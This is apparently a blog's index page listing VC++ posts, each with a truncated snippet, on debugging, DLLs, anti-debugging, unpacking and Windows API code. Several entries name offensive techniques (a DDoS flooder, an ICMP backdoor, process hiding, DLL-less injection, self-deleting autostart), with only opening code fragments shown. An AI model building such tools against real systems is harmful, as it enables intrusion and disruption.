
VC++
yunshouhu
爱Java,更爱Android,学VC,搞c/c++的我。专注移动安全,游戏安全,逆向安全!十年戎马成神路,君临天下风雷动! https://github.com/yunshouhu
展开
-
OD操作整理-API断点的设置;寄存器的修改;数据的查看
转自:http://blog.youkuaiyun.com/lostspeed/article/details/8882624中断的设置断点列表和代码的切换断点的操作与切换转到表达式, 用于在汇编窗口直接查找API查找程序中使用的API,并对关注的API下端点.确定在程序领空内. 需要在主程序领空查看API列表.转载 2017-12-14 22:43:26 · 6919 阅读 · 0 评论 -
dll的def文件与__declspec(dllexport)导出函数方式比较
转自:http://blog.youkuaiyun.com/aastoneaa/article/details/10426009dll的def文件与__declspec(dllexport)导出函数方式比较【__declspec(dllexport) 方式】首先对C和C++编译(extern "C")与调用约定(__cdecl、__stdcall、__fastcall)进行组合测试:转载 2016-06-23 18:31:31 · 533 阅读 · 0 评论 -
winpcap编程抓包实例和windump使用
http://www.winpcap.org/archive/官方文档http://www.ferrisxu.com/WinPcap/html/index.htmlhttp://www.winpcap.org/http://www.winpcap.org/windump/install/default.htmhttp://www.360doc.com/content/11/03原创 2016-06-30 16:07:10 · 6953 阅读 · 0 评论 -
MFC 错误
fatal error C1189: #error: Please use the /MD switch for _AFXDLL builds原因是静态/动态链接库不统一导致。1、先在常规=>MFC使用中,选择另外vs2015编译出来的exe需要在xp运行的话,需要设置平台工具集为:Visual Studio 2015 - Windows XP (v140_xp)原创 2016-01-15 11:53:02 · 690 阅读 · 0 评论 -
vc技巧常用函数
void Log(LPCTSTR szFormat, ...){ CString strMessage; va_list argList; va_start( argList, szFormat ); strMessage.FormatV( szFormat, argList ); va_end( argList ); CString strIndent(' ', g_inden原创 2014-03-17 16:31:38 · 1114 阅读 · 0 评论 -
Visual Studio 2012 编译错误【error C4996: 'scanf': This function or variable may be unsafe. 】的解决方案
转自:http://www.cnblogs.com/gb2013/archive/2013/03/05/SecurityEnhancementsInTheCRT.html在VS 2012 中编译 C 语言项目,如果使用了 scanf 函数,编译时便会提示如下错误:error C4996: 'scanf': This function or variable may转载 2016-01-20 14:36:53 · 736 阅读 · 0 评论 -
VC 使用Cryptography 微软自带算法加解密文件
// Encrypting_a_File.cpp : Defines the entry point for the console // application.//#include #include #include #include #include // Link with the Advapi32.lib file.#pragma comment (lib, "ad原创 2014-12-31 12:04:30 · 2193 阅读 · 0 评论 -
VC获取usb设备信息
#include #include #include #include extern "C" { // Declare the C libraries used#include // Must link in setupapi.lib#include // Must link in hid.lib}static /*const*/ GUID GUID_DEVINT原创 2014-12-31 16:25:20 · 9397 阅读 · 0 评论 -
VC DLL程序的调试
void CresourceEncryptDlg::OnBnClickedButtonDll(){ typedef int (CALLBACK* LPFNDLLFUNC)(); HINSTANCE hDLL; LPFNDLLFUNC lpfnDllFunc; hDLL=LoadLibraryA("C:\\Users\\原创 2014-12-28 17:09:45 · 1056 阅读 · 0 评论 -
c++ exception实例
c++ 标准异常:/************************************************************************** * * stdexcept.cpp - Illustrate the use of C++ Standard Library exceptions. * * $Id: stdexcept.cpp 550991 2007原创 2014-12-29 17:28:12 · 8571 阅读 · 0 评论 -
vc++多线程随机单元测试实例之测试vld库
//////////////////////////////////////////////////////////////////////////////////// Visual Leak Detector - Test Suite// Copyright (c) 2009 Dan Moulding//// This library is free software; you原创 2016-08-29 11:34:14 · 1046 阅读 · 0 评论 -
VC IAI HOOK demo
#include #include #include BOOL ModifyImportTable(IMAGE_IMPORT_DESCRIPTOR* iid, void* target,void* replacement){ IMAGE_THUNK_DATA* itd = (IMAGE_THUNK_DATA*)(((char*)GetModuleHandle(NULL)) + iid-原创 2016-09-11 00:48:09 · 563 阅读 · 0 评论 -
linux中getopt_long解析命令行参数(附上windows上的getopt_long源码)
getopt_long支持长选项的命令行解析,使用man getopt_long,得到其声明如下: #include int getopt_long(int argc, char * const argv[], const char *optstring, const struct o原创 2017-09-02 01:14:35 · 2076 阅读 · 0 评论 -
c语言实现mmap内存映射读取文件和文件加密
#define _CRT_SECURE_NO_WARNINGS 1#include #include #include #include #include #define LOGD printf#if _WIN32#include #include #include #define stat _stat#else#include #include #i原创 2017-07-24 15:59:24 · 4887 阅读 · 1 评论 -
脱壳入门初级教学(第四课 常见压缩壳与加密壳)
转自:http://bestmk.cn/thread-491.htm加壳软件按照其加壳目的和作用,可分为两类:一是压缩(Packers),二是保护(Protectors)。压缩这类壳主要目的是减小程序体积,如ASPacK、UPX和PECompact等。另一类是保护程序,用上了各种反跟踪技术保护程序不被调试、脱壳等,其加壳后的体积大小不是其考虑的主要因素,如ASProtect、Armad转载 2017-03-26 13:49:53 · 4483 阅读 · 0 评论 -
C++之拷贝构造函数的调用时机
1、对象在创建时使用其他的对象初始化Person p(q); //此时复制构造函数被用来创建实例pPerson p = q; //此时复制构造函数被用来在定义实例p时初始化p2、对象作为函数的参数进行值传递时f(p); //此时p作为函数的参数进行值传递,p入栈时会调用复制构造函数创建一个局部对象,与函数内的局部变量具有相同的作用域需要注意的是,赋值并不会调用复制构原创 2017-01-16 18:04:57 · 710 阅读 · 0 评论 -
c++转换__DATE__宏为友好格式的时间和编译器预定义的宏
一边情况下,C/C++编译器会内置几个宏,这些宏定义不仅可以帮助我们完成跨平台的源码编写,灵活使用也可以巧妙地帮我们输出非常有用的调试信息。ANSI C标准中有几个标准预定义宏(也是常用的):__LINE__:在源代码中插入当前源代码行号; __FILE__:在源文件中插入当前源文件名; __DATE__:在源文件中插入当前的编译日期 __TIME__:在源文件中插入当前编译时间; _...原创 2017-01-11 11:15:55 · 9097 阅读 · 2 评论 -
window反调试跟踪的一点心得
转自:http://blog.youkuaiyun.com/super_mimi/article/details/40425347此贴转载于看雪:http://bbs.pediy.com/showthread.php?t=79205本文所提到的一些方法,对于熟练的逆向调试者来说不值一提。写出来的目的只是帮助初学者解决调试中可能遇到的一些问题。这些问题以前我遇到过,当时解决起来花了不少时间。转载 2016-12-29 20:28:17 · 1057 阅读 · 0 评论 -
Windows 下常见的反调试方法
转自:http://www.cnblogs.com/lanrenxinxin/p/5193920.html稍稍总结一下在Crack或Rervese中比较常见的一些反调试方法,实现起来也比较简单,之后有写的Demo源码参考,没有太大的难度。 ①最简单也是最基础的,Windows提供的API接口:IsDebuggerPresent(),这API实际上就是访问PEB的Bein转载 2016-12-29 20:19:27 · 1049 阅读 · 0 评论 -
vc编译器cl.exe和link.exe使用选项的简单例子
C/C++ 编译器选项 -优化-/O1 最小化空间 /O2 最大化速度/Ob 内联扩展(默认 n=0) /Od 禁用优化(默认)/Og 启用全局优化 /Oi[-] 启用内部函数/Os 优选代码空间原创 2016-11-21 09:54:30 · 4160 阅读 · 0 评论 -
isdebuggerpresent
// isdebuggerpresent.cpp : Defines the entry point for the console application.//#include #include #include int main(int argc, CHAR* argv[]) { //__asm { int 3 } typedef long NTSTATUS; #原创 2016-09-14 11:31:49 · 727 阅读 · 0 评论 -
c/c++库资料
1、C++标准库在线资料实例,类似window api的msdn:http://www.cplusplus.com/reference/ctime/time/http://www.cplusplus.com/reference/2、The GNU C Library (glibc)http://gnu.april.org/software/libc/libc.h原创 2014-12-29 11:54:02 · 1187 阅读 · 0 评论 -
VC 服务程序的编写
参考:http://msdn.microsoft.com/en-us/library/windows/desktop/bb540476(v=vs.85).aspxsample.h // The following are message definitions.//// Values are 32 bit values laid out as follows://// 3原创 2014-12-27 20:58:28 · 3233 阅读 · 0 评论 -
vc 无dll注入
// NoDllInjectDlg.cpp : implementation file//#include "stdafx.h"#include "NoDllInject.h"#include "NoDllInjectDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] =原创 2014-04-10 15:35:05 · 1150 阅读 · 0 评论 -
MFC使用控制台
在MFC中调试程序,可以单步调试,有的时候输出值为了方便,还是使用控制台,使用方法如下:在MFC项目的OnInitDlg(这个是对话框项目)函数中添加下面的代码: // TODO: 在此添加额外的初始化代码 // 打开控件台 ::AllocConsole(); // 打开控件台资源 freopen("CONOUT$", "w+t", stdout);转载 2014-03-25 12:06:51 · 886 阅读 · 0 评论 -
vc 隐藏进程
#ifndef HIDEPROCESS_H#define HIDEPROCESS_Hclass CHideProcess {public: // 接口:隐藏当前进程 static BOOL HideCurrent(); // 接口:隐藏当前进程 static BOOL HideByID(DWORD dwID); // 析构 virtual ~CHideProcess();转载 2014-03-25 09:31:18 · 7020 阅读 · 4 评论 -
vc++ DDOS
#include #include #include #pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) // 定义状态提示函数 { static int play=0; // 进度转载 2014-03-24 17:16:44 · 1793 阅读 · 0 评论 -
vc++ ICMP后门后门程序
server.cpp#include #include #include #include #pragma comment(lib, "Urlmon.lib")#pragma comment(lib, "ws2_32.lib")#define ICMP_PASSWORD 1234 #def转载 2014-03-24 17:09:04 · 2191 阅读 · 1 评论 -
利用API函数MoveFileEx实现程序的隐藏、自启动与自删除
#include "stdafx.h"#include #include #include #include //http://www.cnblogs.com/yincheng01/archive/2010/12/17/2213190.htmlvoid usage(char *);int StartShell(LPVOID lParam){ ShellExecute(NULL,转载 2014-03-20 17:50:43 · 1386 阅读 · 0 评论 -
vc++常用函数方法
一、打开CD-ROM mciSendString("Set cdAudio door open wait",NULL,0,NULL); 二、关闭CD_ROM mciSendString("Set cdAudio door closed wait",NULL,0,NULL); 三、关闭计算机 OSVERSIONINFO OsVersionInfo; //包含操作系统版本信息的数据转载 2014-03-21 16:08:43 · 1127 阅读 · 0 评论 -
visual studio 插件
官方插件:http://visualstudiogallery.msdn.microsoft.com/http://visualstudiogallery.msdn.microsoft.com/site/search?f%5B0%5D.Type=RootCategory&f%5B0%5D.Value=toolsProductivity Power Tools 最近发现神器P原创 2014-03-29 18:28:47 · 732 阅读 · 0 评论 -
vc获取window版本
// GetWindowVersion.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#define _WIN32_WINNT 0x0501#include #include using namespace std;#include #include #include #pragma comment(lib, "User32.lib")#转载 2014-03-28 15:29:15 · 1137 阅读 · 0 评论 -
VC内存泄露检查工具:VisualLeakDetector
初识Visual Leak Detector 灵活自由是C/C++语言的一大特色,而这也为C/C++程序员出了一个难题。当程序越来越复杂时,内存的管理也会变得越加复杂,稍有不慎就会出现内存问题。内存泄漏是最常见的内存问题之一。内存泄漏如果不是很严重,在短时间内对程序不会有太大的影响,这也使得内存泄漏问题有很强的隐蔽性,不容易被发现。然而不管内存泄漏多么轻微,当程序长时间运行时,其破转载 2014-03-28 14:55:06 · 1213 阅读 · 0 评论 -
VC 实现共享内存
#ifndef _CSHAREMEMORY_H_#define _CSHAREMEMORY_H_/* * CopyRight (C) by dragonwarrior95@163.com. All rights is reserved. * Time: 2013.04.09 * File: CShareMemory.h * Function: This原创 2014-04-21 15:31:11 · 2167 阅读 · 0 评论 -
VC 获取MBR引导分区数据
// ParseMbr.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #include #define BOOTRECORDSIZE 440typedef struct _BOOTRECORD{ unsigned char BootReco原创 2014-04-08 15:46:42 · 2976 阅读 · 0 评论 -
VC 多线程使用临界区
// CsTest.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #include int g_Num_One = 0;CRITICAL_SECTION g_cs;DWORD WINAPI ThreadProc(LPVOID lpParam){原创 2014-04-10 14:28:02 · 2725 阅读 · 0 评论 -
VC 获取网卡信息
#include "stdafx.h"#include #include #include #pragma comment (lib, "Iphlpapi")#pragma comment (lib, "ws2_32")int main(int argc, char* argv[]){ PIP_ADAPTER_INFO pIpAdaptTab = NULL; ULO原创 2014-04-10 16:00:48 · 3261 阅读 · 0 评论 -
VC 判断系统和程序是32位和64位
// CreateThreadTest.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #include DWORD WINAPI ThreadProc(LPVOID lpParam){ printf("ThreadProc \r\n"原创 2014-04-10 00:46:06 · 2418 阅读 · 0 评论 -
VC 拷贝程序到启动目录,实现自启动
// StartDirecotry.cpp : Defines the entry point for the console application.//#include "stdafx.h"#define _WIN32_WINNT 0x0501#include #include using namespace std;#include #include #include #原创 2014-04-09 10:27:41 · 1703 阅读 · 0 评论 -
通过堆栈获取进程自身加载模块
// EnumModule.cpp : Defines the entry point for the console application.#include "stdafx.h"#include #include //通过堆栈获取进程自身模块void EnumModule(){ DWORD *PEB = NULL, *Ldr原创 2014-04-08 15:23:01 · 1180 阅读 · 0 评论